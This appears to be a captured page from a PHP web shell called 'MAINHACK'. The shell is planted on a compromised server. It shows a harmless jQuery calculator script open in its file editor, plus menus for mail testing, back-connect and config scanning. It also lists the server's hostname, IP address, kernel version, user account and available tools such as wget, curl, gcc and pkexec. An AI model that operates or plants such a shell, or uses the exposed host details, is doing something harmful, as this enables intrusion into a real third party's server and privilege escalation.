[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: calculator.js
$(document).ready(function(){ //Dom is ready lets get the fun started. var Calculator = { runningTotal : '', currentVal : '', setCurrentVal: false, executeAction: '', display: '', adjustTotals: function(val){ if (!this.setCurrentVal) { //If this is the first number user has entered then it becomes runningTotal //Otherwise it becomes currentVal which will then be used to update runningTotal based on the action picked this.runningTotal += val; } else { //val is a string so we can append to currentVal for multiple digits this.currentVal += val; }; }, add: function(){ this.runningTotal = parseInt(this.runningTotal) + parseInt(this.currentVal); }, subtract: function() { this.runningTotal = parseInt(this.runningTotal) - parseInt(this.currentVal); }, multiply: function(){ this.runningTotal = parseInt(this.runningTotal) * parseInt(this.currentVal); }, divide: function(){ this.runningTotal = parseInt(this.runningTotal) / parseInt(this.currentVal); }, clear: function(){ this.runningTotal = ''; this.currentVal = ''; this.executeAction = ''; this.setCurrentVal = false; this.display = ''; }, resetCurrentVal: function (){ this.currentVal = ''; }, calculate: function(){ this.executeAction = ''; this.currentVal = ''; return this.runningTotal; }, getAction: function(val){ var method = ''; switch (val) { case '+': method = Calculator.add; break; case '-': method = Calculator.subtract; break; case 'x': method = Calculator.multiply; break; case '/': method = Calculator.divide; break; } return method; }, setDisplay: function(){ return this.display = this.currentVal == '' ? this.runningTotal : this.currentVal; } }; var onButtonPress = function (){ var that = $(this), action = that.hasClass('action'), instant = that.hasClass('instant'), val = that.text(); if (!action) { //No action means the button pressed is a number not an "action" Calculator.adjustTotals(val); } else if(!instant) { //A action button was pressed. Store the action so it can be executed lator if (Calculator.executeAction != ''){ Calculator.executeAction(); }; Calculator.executeAction = Calculator.getAction(val); Calculator.setCurrentVal = true; Calculator.resetCurrentVal(); } else { //Either = or Clr is clicked. this needs immediate action. if (Calculator.executeAction != ''){ Calculator.executeAction(); }; switch (val){ case 'cl': method = Calculator.clear(); break; case '=': method = Calculator.calculate(); break; } } Calculator.setDisplay(); } var refreshVal = function(){ $('.calculator input[type=text]').val(Calculator.display); } $('div.key').click(function(){ //We want this to stay as div.keyin the onButtonPress function onButtonPress.call(this); refreshVal(); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002